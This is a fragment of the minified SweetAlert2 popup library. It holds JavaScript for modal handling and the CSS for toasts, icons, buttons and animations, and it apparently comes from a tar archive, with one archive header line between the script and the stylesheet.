o=Ot.domCache.get(t);e.forEach(function(t){o[t].disabled=n})}function xe(t,e){if(!t)return!1;if("radio"===t.type)for(var n=t.parentNode.parentNode.querySelectorAll("input"),o=0;o")),kt(t)}function Se(t){var e=C(),n=x();"function"==typeof t.willOpen?t.willOpen(n):"function"==typeof t.onBeforeOpen&&t.onBeforeOpen(n);var o=window.getComputedStyle(document.body).overflowY;Ne(e,n,t),setTimeout(function(){Re(e,n)},10),N()&&(He(e,t.scrollbarPadding,o),h(document.body.children).forEach(function(t){t===C()||function(t,e){if("function"==typeof t.contains)return t.contains(e)}(t,C())||(t.hasAttribute("aria-hidden")&&t.setAttribute("data-previous-aria-hidden",t.getAttribute("aria-hidden")),t.setAttribute("aria-hidden","true"))})),G()||oe.previousActiveElement||(oe.previousActiveElement=document.activeElement),Ve(n,t),yt(e,J["no-transition"])}function Ee(t){var e,n=x();t.target===n&&(e=C(),n.removeEventListener(Pt,Ee),e.style.overflowY="auto")}function Oe(t,e){"select"===e.input||"radio"===e.input?ze(t,e):-1!==["text","email","number","tel","textarea"].indexOf(e.input)&&(v(e.inputValue)||b(e.inputValue))&&We(t,e)}function Te(t,e){t.disableButtons(),e.input?Ze(t,e):$e(t,e,!0)}function Le(t){t.disableButtons(),Qe(t)}function De(t,e){t.disableButtons(),e($.cancel)}function qe(t,e){t.closePopup({isConfirmed:!0,value:e})}function je(e,t,n,o){t.keydownTarget&&t.keydownHandlerAdded&&(t.keydownTarget.removeEventListener("keydown",t.keydownHandler,{capture:t.keydownListenerCapture}),t.keydownHandlerAdded=!1),n.toast||(t.keydownHandler=function(t){return tn(e,t,o)},t.keydownTarget=n.keydownListenerCapture?window:x(),t.keydownListenerCapture=n.keydownListenerCapture,t.keydownTarget.addEventListener("keydown",t.keydownHandler,{capture:t.keydownListenerCapture}),t.keydownHandlerAdded=!0)}function Ie(t,e,n){var o=H(),i=0;if(i:first-child,.swal2-container.swal2-bottom-left>:first-child,.swal2-container.swal2-bottom-right>:first-child,.swal2-container.swal2-bottom-start>:first-child,.swal2-container.swal2-bottom>:first-child{margin-top:auto}.swal2-container.swal2-grow-fullscreen>.swal2-modal{display:flex!important;flex:1;align-self:stretch;justify-content:center}.swal2-container.swal2-grow-row>.swal2-modal{display:flex!important;flex:1;align-content:center;justify-content:center}.swal2-container.swal2-grow-column{flex:1;flex-direction:column}.swal2-container.swal2-grow-column.swal2-bottom,.swal2-container.swal2-grow-column.swal2-center,.swal2-container.swal2-grow-column.swal2-top{align-items:center}.swal2-container.swal2-grow-column.swal2-bottom-left,.swal2-container.swal2-grow-column.swal2-bottom-start,.swal2-container.swal2-grow-column.swal2-center-left,.swal2-container.swal2-grow-column.swal2-center-start,.swal2-container.swal2-grow-column.swal2-top-left,.swal2-container.swal2-grow-column.swal2-top-start{align-items:flex-start}.swal2-container.swal2-grow-column.swal2-bottom-end,.swal2-container.swal2-grow-column.swal2-bottom-right,.swal2-container.swal2-grow-column.swal2-center-end,.swal2-container.swal2-grow-column.swal2-center-right,.swal2-container.swal2-grow-column.swal2-top-end,.swal2-container.swal2-grow-column.swal2-top-right{align-items:flex-end}.swal2-container.swal2-grow-column>.swal2-modal{display:flex!important;flex:1;align-content:center;justify-content:center}.swal2-container.swal2-no-transition{transition:none!important}.swal2-container:not(.swal2-top):not(.swal2-top-start):not(.swal2-top-end):not(.swal2-top-left):not(.swal2-top-right):not(.swal2-center-start):not(.swal2-center-end):not(.swal2-center-left):not(.swal2-center-right):not(.swal2-bottom):not(.swal2-bottom-start):not(.swal2-bottom-end):not(.swal2-bottom-left):not(.swal2-bottom-right):not(.swal2-grow-fullscreen)>.swal2-modal{margin:auto}@media all and (-ms-high-contrast:none),(-ms-high-contrast:active){.swal2-container .swal2-modal{margin:0!important}}.swal2-popup{display:none;position:relative;box-sizing:border-box;flex-direction:column;justify-content:center;width:32em;max-width:100%;padding:1.25em;border:none;border-radius:.3125em;background:#fff;font-family:inherit;font-size:1rem}.swal2-popup:focus{outline:0}.swal2-popup.swal2-loading{overflow-y:hidden}.swal2-header{display:flex;flex-direction:column;align-items:center;padding:0 1.8em}.swal2-title{position:relative;max-width:100%;margin:0 0 .4em;padding:0;color:#595959;font-size:1.875em;font-weight:600;text-align:center;text-transform:none;word-wrap:break-word}.swal2-actions{display:flex;z-index:1;box-sizing:border-box;flex-wrap:wrap;align-items:center;justify-content:center;width:100%;margin:1.25em auto 0;padding:0 1.6em}.swal2-actions:not(.swal2-loading) .swal2-styled[disabled]{opacity:.4}.swal2-actions:not(.swal2-loading) .swal2-styled:hover{background-image:linear-gradient(rgba(0,0,0,.1),rgba(0,0,0,.1))}.swal2-actions:not(.swal2-loading) .swal2-styled:active{background-image:linear-gradient(rgba(0,0,0,.2),rgba(0,0,0,.2))}.swal2-loader{display:none;align-items:center;justify-content:center;width:2.2em;height:2.2em;margin:0 1.875em;-webkit-animation:swal2-rotate-loading 1.5s linear 0s infinite normal;animation:swal2-rotate-loading 1.5s linear 0s infinite normal;border-width:.25em;border-style:solid;border-radius:100%;border-color:#3085d6 transparent #3085d6 transparent}.swal2-styled{margin:.3125em;padding:.625em 2em;box-shadow:none;font-weight:500}.swal2-styled:not([disabled]){cursor:pointer}.swal2-styled.swal2-confirm{border:0;border-radius:.25em;background:initial;background-color:#3085d6;color:#fff;font-size:1.0625em}.swal2-styled.swal2-deny{border:0;border-radius:.25em;background:initial;background-color:#dd6b55;color:#fff;font-size:1.0625em}.swal2-styled.swal2-cancel{border:0;border-radius:.25em;background:initial;background-color:#aaa;color:#fff;font-size:1.0625em}.swal2-styled:focus{outline:0;box-shadow:0 0 0 1px #fff,0 0 0 3px rgba(50,100,150,.4)}.swal2-styled::-moz-focus-inner{border:0}.swal2-footer{justify-content:center;margin:1.25em 0 0;padding:1em 0 0;border-top:1px solid #eee;color:#545454;font-size:1em}.swal2-timer-progress-bar-container{position:absolute;right:0;bottom:0;left:0;height:.25em;overflow:hidden;border-bottom-right-radius:.3125em;border-bottom-left-radius:.3125em}.swal2-timer-progress-bar{width:100%;height:.25em;background:rgba(0,0,0,.2)}.swal2-image{max-width:100%;margin:1.25em auto}.swal2-close{position:absolute;z-index:2;top:0;right:0;align-items:center;justify-content:center;width:1.2em;height:1.2em;padding:0;overflow:hidden;transition:color .1s ease-out;border:none;border-radius:0;background:0 0;color:#ccc;font-family:serif;font-size:2.5em;line-height:1.2;cursor:pointer}.swal2-close:hover{transform:none;background:0 0;color:#f27474}.swal2-close::-moz-focus-inner{border:0}.swal2-content{z-index:1;justify-content:center;margin:0;padding:0 1.6em;color:#545454;font-size:1.125em;font-weight:400;line-height:normal;text-align:center;word-wrap:break-word}.swal2-checkbox,.swal2-file,.swal2-input,.swal2-radio,.swal2-select,.swal2-textarea{margin:1em auto}.swal2-file,.swal2-input,.swal2-textarea{box-sizing:border-box;width:100%;transition:border-color .3s,box-shadow .3s;border:1px solid #d9d9d9;border-radius:.1875em;background:inherit;box-shadow:inset 0 1px 1px rgba(0,0,0,.06);color:inherit;font-size:1.125em}.swal2-file.swal2-inputerror,.swal2-input.swal2-inputerror,.swal2-textarea.swal2-inputerror{border-color:#f27474!important;box-shadow:0 0 2px #f27474!important}.swal2-file:focus,.swal2-input:focus,.swal2-textarea:focus{border:1px solid #b4dbed;outline:0;box-shadow:0 0 3px #c4e6f5}.swal2-file::-moz-placeholder,.swal2-input::-moz-placeholder,.swal2-textarea::-moz-placeholder{color:#ccc}.swal2-file:-ms-input-placeholder,.swal2-input:-ms-input-placeholder,.swal2-textarea:-ms-input-placeholder{color:#ccc}.swal2-file::-ms-input-placeholder,.swal2-input::-ms-input-placeholder,.swal2-textarea::-ms-input-placeholder{color:#ccc}.swal2-file::placeholder,.swal2-input::placeholder,.swal2-textarea::placeholder{color:#ccc}.swal2-range{margin:1em auto;background:#fff}.swal2-range input{width:80%}.swal2-range output{width:20%;color:inherit;font-weight:600;text-align:center}.swal2-range input,.swal2-range output{height:2.625em;padding:0;font-size:1.125em;line-height:2.625em}.swal2-input{height:2.625em;padding:0 .75em}.swal2-input[type=number]{max-width:10em}.swal2-file{background:inherit;font-size:1.125em}.swal2-textarea{height:6.75em;padding:.75em}.swal2-select{min-width:50%;max-width:100%;padding:.375em .625em;background:inherit;color:inherit;font-size:1.125em}.swal2-checkbox,.swal2-radio{align-items:center;justify-content:center;background:#fff;color:inherit}.swal2-checkbox label,.swal2-radio label{margin:0 .6em;font-size:1.125em}.swal2-checkbox input,.swal2-radio input{margin:0 .4em}.swal2-validation-message{display:none;align-items:center;justify-content:center;padding:.625em;overflow:hidden;background:#f0f0f0;color:#666;font-size:1em;font-weight:300}.swal2-validation-message::before{content:\"!\";display:inline-block;width:1.5em;min-width:1.5em;height:1.5em;margin:0 .625em;border-radius:50%;background-color:#f27474;color:#fff;font-weight:600;line-height:1.5em;text-align:center}.swal2-icon{position:relative;box-sizing:content-box;justify-content:center;width:5em;height:5em;margin:1.25em auto 1.875em;border:.25em solid transparent;border-radius:50%;font-family:inherit;line-height:5em;cursor:default;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:3.75em}.swal2-icon.swal2-error{border-color:#f27474;color:#f27474}.swal2-icon.swal2-error .swal2-x-mark{position:relative;flex-grow:1}.swal2-icon.swal2-error [class^=swal2-x-mark-line]{display:block;position:absolute;top:2.3125em;width:2.9375em;height:.3125em;border-radius:.125em;background-color:#f27474}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:1.0625em;transform:rotate(45deg)}.swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:1em;transform:rotate(-45deg)}.swal2-icon.swal2-error.swal2-icon-show{-webkit-animation:swal2-animate-error-icon .5s;animation:swal2-animate-error-icon .5s}.swal2-icon.swal2-error.swal2-icon-show .swal2-x-mark{-webkit-animation:swal2-animate-error-x-mark .5s;animation:swal2-animate-error-x-mark .5s}.swal2-icon.swal2-warning{border-color:#facea8;color:#f8bb86}.swal2-icon.swal2-info{border-color:#9de0f6;color:#3fc3ee}.swal2-icon.swal2-question{border-color:#c9dae1;color:#87adbd}.swal2-icon.swal2-success{border-color:#a5dc86;color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-circular-line]{position:absolute;width:3.75em;height:7.5em;transform:rotate(45deg);border-radius:50%}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=left]{top:-.4375em;left:-2.0635em;transform:rotate(-45deg);transform-origin:3.75em 3.75em;border-radius:7.5em 0 0 7.5em}.swal2-icon.swal2-success [class^=swal2-success-circular-line][class$=right]{top:-.6875em;left:1.875em;transform:rotate(-45deg);transform-origin:0 3.75em;border-radius:0 7.5em 7.5em 0}.swal2-icon.swal2-success .swal2-success-ring{position:absolute;z-index:2;top:-.25em;left:-.25em;box-sizing:content-box;width:100%;height:100%;border:.25em solid rgba(165,220,134,.3);border-radius:50%}.swal2-icon.swal2-success .swal2-success-fix{position:absolute;z-index:1;top:.5em;left:1.625em;width:.4375em;height:5.625em;transform:rotate(-45deg)}.swal2-icon.swal2-success [class^=swal2-success-line]{display:block;position:absolute;z-index:2;height:.3125em;border-radius:.125em;background-color:#a5dc86}.swal2-icon.swal2-success [class^=swal2-success-line][class$=tip]{top:2.875em;left:.8125em;width:1.5625em;transform:rotate(45deg)}.swal2-icon.swal2-success [class^=swal2-success-line][class$=long]{top:2.375em;right:.5em;width:2.9375em;transform:rotate(-45deg)}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-tip{-webkit-animation:swal2-animate-success-line-tip .75s;animation:swal2-animate-success-line-tip .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-line-long{-webkit-animation:swal2-animate-success-line-long .75s;animation:swal2-animate-success-line-long .75s}.swal2-icon.swal2-success.swal2-icon-show .swal2-success-circular-line-right{-webkit-animation:swal2-rotate-success-circular-line 4.25s ease-in;animation:swal2-rotate-success-circular-line 4.25s ease-in}.swal2-progress-steps{align-items:center;margin:0 0 1.25em;padding:0;background:inherit;font-weight:600}.swal2-progress-steps li{display:inline-block;position:relative}.swal2-progress-steps .swal2-progress-step{z-index:20;width:2em;height:2em;border-radius:2em;background:#3085d6;color:#fff;line-height:2em;text-align:center}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step{background:#3085d6}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step{background:#add8e6;color:#fff}.swal2-progress-steps .swal2-progress-step.swal2-active-progress-step~.swal2-progress-step-line{background:#add8e6}.swal2-progress-steps .swal2-progress-step-line{z-index:10;width:2.5em;height:.4em;margin:0 -1px;background:#3085d6}[class^=swal2]{-webkit-tap-highlight-color:transparent}.swal2-show{-webkit-animation:swal2-show .3s;animation:swal2-show .3s}.swal2-hide{-webkit-animation:swal2-hide .15s forwards;animation:swal2-hide .15s forwards}.swal2-noanimation{transition:none}.swal2-scrollbar-measure{position:absolute;top:-9999px;width:50px;height:50px;overflow:scroll}.swal2-rtl .swal2-close{right:auto;left:0}.swal2-rtl .swal2-timer-progress-bar{right:0;left:auto}@supports (-ms-accelerator:true){.swal2-range input{width:100%!important}.swal2-range output{display:none}}@media all and (-ms-high-contrast:none),(-ms-high-contrast:active){.swal2-range input{width:100%!important}.swal2-range output{display:none}}@-moz-document url-prefix(){.swal2-close:focus{outline:2px solid rgba(50,100,150,.4)}}@-webkit-keyframes swal2-toast-show{0%{transform:translateY(-.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0)}}@keyframes swal2-toast-show{0%{transform:translateY(-.625em) rotateZ(2deg)}33%{transform:translateY(0) rotateZ(-2deg)}66%{transform:translateY(.3125em) rotateZ(2deg)}100%{transform:translateY(0) rotateZ(0)}}@-webkit-keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@keyframes swal2-toast-hide{100%{transform:rotateZ(1deg);opacity:0}}@-webkit-keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@keyframes swal2-toast-animate-success-line-tip{0%{top:.5625em;left:.0625em;width:0}54%{top:.125em;left:.125em;width:0}70%{top:.625em;left:-.25em;width:1.625em}84%{top:1.0625em;left:.75em;width:.5em}100%{top:1.125em;left:.1875em;width:.75em}}@-webkit-keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@keyframes swal2-toast-animate-success-line-long{0%{top:1.625em;right:1.375em;width:0}65%{top:1.25em;right:.9375em;width:0}84%{top:.9375em;right:0;width:1.125em}100%{top:.9375em;right:.1875em;width:1.375em}}@-webkit-keyframes swal2-show{0%{transform:scale(.7)}45%{transform:scale(1.05)}80%{transform:scale(.95)}100%{transform:scale(1)}}@keyframes swal2-show{0%{transform:scale(.7)}45%{transform:scale(1.05)}80%{transform:scale(.95)}100%{transform:scale(1)}}@-webkit-keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(.5);opacity:0}}@keyframes swal2-hide{0%{transform:scale(1);opacity:1}100%{transform:scale(.5);opacity:0}}@-webkit-keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@keyframes swal2-animate-success-line-tip{0%{top:1.1875em;left:.0625em;width:0}54%{top:1.0625em;left:.125em;width:0}70%{top:2.1875em;left:-.375em;width:3.125em}84%{top:3em;left:1.3125em;width:1.0625em}100%{top:2.8125em;left:.8125em;width:1.5625em}}@-webkit-keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@keyframes swal2-animate-success-line-long{0%{top:3.375em;right:2.875em;width:0}65%{top:3.375em;right:2.875em;width:0}84%{top:2.1875em;right:0;width:3.4375em}100%{top:2.375em;right:.5em;width:2.9375em}}@-webkit-keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@keyframes swal2-rotate-success-circular-line{0%{transform:rotate(-45deg)}5%{transform:rotate(-45deg)}12%{transform:rotate(-405deg)}100%{transform:rotate(-405deg)}}@-webkit-keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(.4);opacity:0}50%{margin-top:1.625em;transform:scale(.4);opacity:0}80%{margin-top:-.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@keyframes swal2-animate-error-x-mark{0%{margin-top:1.625em;transform:scale(.4);opacity:0}50%{margin-top:1.625em;transform:scale(.4);opacity:0}80%{margin-top:-.375em;transform:scale(1.15)}100%{margin-top:0;transform:scale(1);opacity:1}}@-webkit-keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0);opacity:1}}@keyframes swal2-animate-error-icon{0%{transform:rotateX(100deg);opacity:0}100%{transform:rotateX(0);opacity:1}}@-webkit-keyframes swal2-rotate-loading{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}@keyframes swal2-rotate-loading{0%{transform:rotate(0)}100%{transform:rotate(360deg)}}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow:hidden}body.swal2-height-auto{height:auto!important}body.swal2-no-backdrop .swal2-container{top:auto;right:auto;bottom:auto;left:auto;max-width:calc(100% - .625em * 2);background-color:transparent!important}body.swal2-no-backdrop .swal2-container>.swal2-modal{box-shadow:0 0 10px rgba(0,0,0,.4)}body.swal2-no-backdrop .swal2-container.swal2-top{top:0;left:50%;transform:translateX(-50%)}body.swal2-no-backdrop .swal2-container.swal2-top-left,body.swal2-no-backdrop .swal2-container.swal2-top-start{top:0;left:0}body.swal2-no-backdrop .swal2-container.swal2-top-end,body.swal2-no-backdrop .swal2-container.swal2-top-right{top:0;right:0}body.swal2-no-backdrop .swal2-container.swal2-center{top:50%;left:50%;transform:translate(-50%,-50%)}body.swal2-no-backdrop .swal2-container.swal2-center-left,body.swal2-no-backdrop .swal2-container.swal2-center-start{top:50%;left:0;transform:translateY(-50%)}body.swal2-no-backdrop .swal2-container.swal2-center-end,body.swal2-no-backdrop .swal2-container.swal2-center-right{top:50%;right:0;transform:translateY(-50%)}body.swal2-no-backdrop .swal2-container.swal2-bottom{bottom:0;left:50%;transform:translateX(-50%)}body.swal2-no-backdrop .swal2-container.swal2-bottom-left,body.swal2-no-backdrop .swal2-container.swal2-bottom-start{bottom:0;left:0}body.swal2-no-backdrop .swal2-container.swal2-bottom-end,body.swal2-no-backdrop .swal2-container.swal2-bottom-right{right:0;bottom:0}@media print{body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown){overflow-y:scroll!important}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown)>[aria-hidden=true]{display:none}body.swal2-shown:not(.swal2-no-backdrop):not(.swal2-toast-shown) .swal2-container{position:static!important}}body.swal2-toast-shown .swal2-container{background-color:transparent}body.swal2-toast-shown .swal2-container.swal2-top{top:0;right:auto;bottom:auto;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-top-end,body.swal2-toast-shown .swal2-container.swal2-top-right{top:0;right:0;bottom:auto;left:auto}body.swal2-toast-shown .swal2-container.swal2-top-left,body.swal2-toast-shown .swal2-container.swal2-top-start{top:0;right:auto;bottom:auto;left:0}body.swal2-toast-shown .swal2-container.swal2-center-left,body.swal2-toast-shown .swal2-container.swal2-center-start{top:50%;right:auto;bottom:auto;left:0;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-center{top:50%;right:auto;bottom:auto;left:50%;transform:translate(-50%,-50%)}body.swal2-toast-shown .swal2-container.swal2-center-end,body.swal2-toast-shown .swal2-container.swal2-center-right{top:50%;right:0;bottom:auto;left:auto;transform:translateY(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-left,body.swal2-toast-shown .swal2-container.swal2-bottom-start{top:auto;right:auto;bottom:0;left:0}body.swal2-toast-shown .swal2-container.swal2-bottom{top:auto;right:auto;bottom:0;left:50%;transform:translateX(-50%)}body.swal2-toast-shown .swal2-container.swal2-bottom-end,body.swal2-toast-shown .swal2-container.swal2-bottom-right{top:auto;right:0;bottom:0;left:auto}body.swal2-toast-column .swal2-toast{flex-direction:column;align-items:stretch}body.swal2-toast-column .swal2-toast .swal2-actions{flex:1;align-self:stretch;height:2.2em;margin-top:.3125em}body.swal2-toast-column .swal2-toast .swal2-loading{justify-content:center}body.swal2-toast-column .swal2-toast .swal2-input{height:2em;margin:.3125em auto;font-size:1em}body.swal2-toast-column .swal2-toast .swal2-validation-message{font-size:1em}");sweetalert2.min.css000064400000057560151735567630010340 0ustar00.swal2-popup.swal2-toast{flex-direction:row;align-items:center;width:auto;padding:.625em;overflow-y:hidden;background:#fff;box-shadow:0 0 .625em #d9d9d9}.swal2-popup.swal2-toast .swal2-header{flex-direction:row;padding:0}.swal2-popup.swal2-toast .swal2-title{flex-grow:1;justify-content:flex-start;margin:0 .6em;font-size:1em}.swal2-popup.swal2-toast .swal2-footer{margin:.5em 0 0;padding:.5em 0 0;font-size:.8em}.swal2-popup.swal2-toast .swal2-close{position:static;width:.8em;height:.8em;line-height:.8}.swal2-popup.swal2-toast .swal2-content{justify-content:flex-start;padding:0;font-size:1em}.swal2-popup.swal2-toast .swal2-icon{width:2em;min-width:2em;height:2em;margin:0}.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{display:flex;align-items:center;font-size:1.8em;font-weight:700}@media all and (-ms-high-contrast:none),(-ms-high-contrast:active){.swal2-popup.swal2-toast .swal2-icon .swal2-icon-content{font-size:.25em}}.swal2-popup.swal2-toast .swal2-icon.swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line]{top:.875em;width:1.375em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=left]{left:.3125em}.swal2-popup.swal2-toast .swal2-icon.swal2-error [class^=swal2-x-mark-line][class$=right]{right:.3125em}.swal2-popup.swal2-toast .swal2-actions{flex-basis:auto!important;width:auto;height:auto;margin:0 .3125em;padding:0}.swal2-popup.swal2-toast .swal2-styled{margin:0 .3125em;padding:.3125em .625em;font-size:1em}.swal2-popup.swal2-toast .swal2-styled:focus{box-shadow:0 0 0 1px #fff,0 0 0 3px rgba(50,100,150,.4)}.swal2-popup.swal2-toast .swal2-success{border-color:#a5dc86}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line]{position:absolute;width:1.6em;height:3em;transform:rotate(45deg);border-radius:50%}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=left]{top:-.8em;left:-.5em;transform:rotate(-45deg);transform-origin:2em 2em;border-radius:4em 0 0 4em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-circular-line][class$=right]{top:-.25em;left:.9375em;transform-origin:0 1.5em;border-radius:0 4em 4em 0}.swal2-popup.swal2-toast .swal2-success .swal2-success-ring{width:2em;height:2em}.swal2-popup.swal2-toast .swal2-success .swal2-success-fix{top:0;left:.4375em;width:.4375em;height:2.6875em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line]{height:.3125em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=tip]{top:1.125em;left:.1875em;width:.75em}.swal2-popup.swal2-toast .swal2-success [class^=swal2-success-line][class$=long]{top:.9375em;right:.1875em;width:1.375em}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-tip{-webkit-animation:swal2-toast-animate-success-line-tip .75s;animation:swal2-toast-animate-success-line-tip .75s}.swal2-popup.swal2-toast .swal2-success.swal2-icon-show .swal2-success-line-long{-webkit-animation:swal2-toast-animate-success-line-long .75s;animation:swal2-toast-animate-success-line-long .75s}.swal2-popup.swal2-toast.swal2-show{-webkit-animation:swal2-toast-show .5s;animation:swal2-toast-show .5s}.swal2-popup.swal2-toast.swal2-hide{-webkit-animation:swal2-toast-hide .1s forwards;animation:swal2-toast-hide .1s forwards}.swal2-container{display:flex;position:fixed;z-index:1060;top:0;right:0;bottom:0;left:0;flex-direction:row;align-items:center;justify-content:center;padding:.625em;overflow-x:hidden;transition:background-color .1s;-webkit-overflow-scrolling:touch}.swal2-container.swal2-backdrop-show,.swal2-container.swal2-noanimation{background:rgba(0,0,0,.4)}.swal2-container.swal2-backdrop-hide{background:0 0!important}.swal2-container.swal2-top{align-items:flex-start}.swal2-container.swal2-top-left,.swal2-container.swal2-top-start{align-items:flex-start;justify-content:flex-start}.swal2-container.swal2-top-end,.swal2-container.swal2-top-right{align-items:flex-start;justify-content:flex-end}.swal2-container.swal2-center{align-items:center}.swal2-container.swal2-center-left,.swal2-container.swal2-center-start{align-items:center;justify-content:flex-start}.swal2-container.swal2-center-end,.swal2-container.swal2-center-right{align-items:center;justify-content:flex-end}.swal2-container.swal2-bottom{align-items:flex-end}.swal2-container.swal2-bottom-left,.swal2-container.swal2-bottom-start{align-items:flex-end;justify-content:flex-start}.swal2-container.swal2-bottom-end,.swal2-container.swal2-bottom-right{align-items:flex-end;justify-content:flex-end}.swal2-container.swal2-bottom-end>:first-child,.swal2-container.swal2-bottom-left>:first-child,.swal2-container.swal2-bottom-right>:first-child,.swal2-container.swal2-bottom-start>:first-child,.swal2-container.swal2-bottom>:first-child{margin-top:auto}.swal2-container.swal2-grow-fullscreen>.swal2-modal{display:flex!important;flex:1;align-self:stretch;justify-content:center}.swal2-container.swal2-grow-row>.swal2-modal{display:flex!important;flex:1;align-content:center;justify-content:center}.swal2-container.swal2-grow-column{flex:1;flex-direction:column}.swal2-container.swal2-grow-column.swal2-bottom,.swal2-container.swal2-grow-column.swal2-center,.swal2-container.swal2-grow-column.swal2-top{align-items:center}.swal2-container.swal2-grow-column.swal2-bottom-left,.swal2-container.swal2-grow-column.swal2-bottom-start,.swal2-container.swal2-grow-column.swal2-center-left,.swal2-container.swal2-grow-column.swal2-center-start,.swal2-container.swal2-grow-column.swal2-top-left,.swal2-container.swal2-grow-column.swal2-top-start{align-items:flex-start}.swal2-container.swal2-grow-column.swal2-bottom-end,.swal2-container.swal2-grow-column.swal2-bottom-right,.swal2-container.swal2-grow-column.swal2-center-end,.swal2-container.swal2-grow-column.swal2-center-right,.swal2-container.swal2-grow-column.swal2-top-end,.swal2-container.swal2-grow-column.swal2-top-right{align-items:flex-end}.swal2-container.swal2-grow-column>.swal2-modal{display:flex!important;flex:1;align-content:center;justify-content:center}.swal2-container.swal2-no-transition{transition:none!important}.swal2-container:not(.swal2-top):not(.swal2-top-start):not(.swal2-top-end):not(.swal2-top-left):not(.swal2-top-right):not(.swal2-center-start):not(.swal2-center-end):not(.swal2-center-left):not(.swal2-center-right):not(.swal2-bottom):not(.swal2-bottom-start):not(.swal2-bottom-end):not(.swal2-bottom-left):not(.swal2-bottom-right):not(.swal2-grow-fullscreen)>.swal2-modal{margin:auto}@media all and (-ms-high-contrast:none),(-ms-high-contrast:active){.swal2-container .swal2-modal{margin:0!important}}.swal2-popup{display:none;position:relative;box-sizing:border-box;flex-direction:column;justify-content:center;width:32em;max-width:100%;padding:1.25em;border:none;border-radius:.3125em;background:#fff;font-family:inherit;font-size:1rem}.swal2-popup:focus{outline:0}.swal2-popup.swal2-loading{overflow-y:hidden}.swal2-header{display:flex;flex-direction:column;align-items:center;padding:0 1.8em}.swal2-title{position:relative;max-width:100%;margin:0 0 .4em;padding:0;color:#595959;font-size:1.875em;font-weight:600;text-align:center;text-transform:none;word-wrap:break-word}.swal2-actions{display:flex;z-index:1;box-sizing:border-box;flex-wrap:wrap;align-items:center;justify-content:center;width:100%;margin:1.25em auto 0;padding:0 1.6em}.swal2-actions:not(.swal2-loading) .swal2-styled[disabled]{opacity:.4}.swal2-actions:not(.swal2-loading) .swal2-styled:hover{background-image:linear-gradient(rgba(0,0,0,.1),rgba(0,0,0,.1))}.swal2-actions:not(.swal2-loading) .swal2-styled:active{background-image:linear-gradient(rgba(0,0,0,.2),rgba(0,0,0,.2))}.swal2-loader{display:none;align-items:center;justify-content:center;width:2.2em;height:2.2em;margin:0 1.875em;-webkit-animation:swal2-rotate-loading 1.5s linear 0s infinite normal;animation:swal2-rotate-loading 1.5s linear 0s infinite normal;border-width:.25em;border-style:solid;border-radius:100%;border-color:#3085d6 transparent #3085d6 transparent}.swal2-styled{margin:.3125em;padding:.625em 2em;box-shadow:none;font-weight:500}.swal2-styled:not([disabled]){cursor:pointer}.swal2-styled.swal2-confirm{border:0;border-radius:.25em;background:initial;background-color:#3085d6;color:#fff;font-size:1.0625em}.swal2-styled.swal2-deny{border:0;border-radius:.25em;background:initial;background-color:#dd6b55;color:#fff;font-size:1.0625em}.swal2-styled.swal2-cancel{border:0;border-radius:.25em;background:initial;background-color:#aaa;color:#fff;font-size:1.0625em}.swal2-styled:focus{outline:0;box-shadow:0 0 0 1px #fff,0 0 0 3px rgba(50,100,150,.4)}.swal2-styled::-moz-focus-inner{border:0}.swal2-footer{justify-content:center;margin:1.25em 0 0;padding:1em 0 0;border-top:1px solid 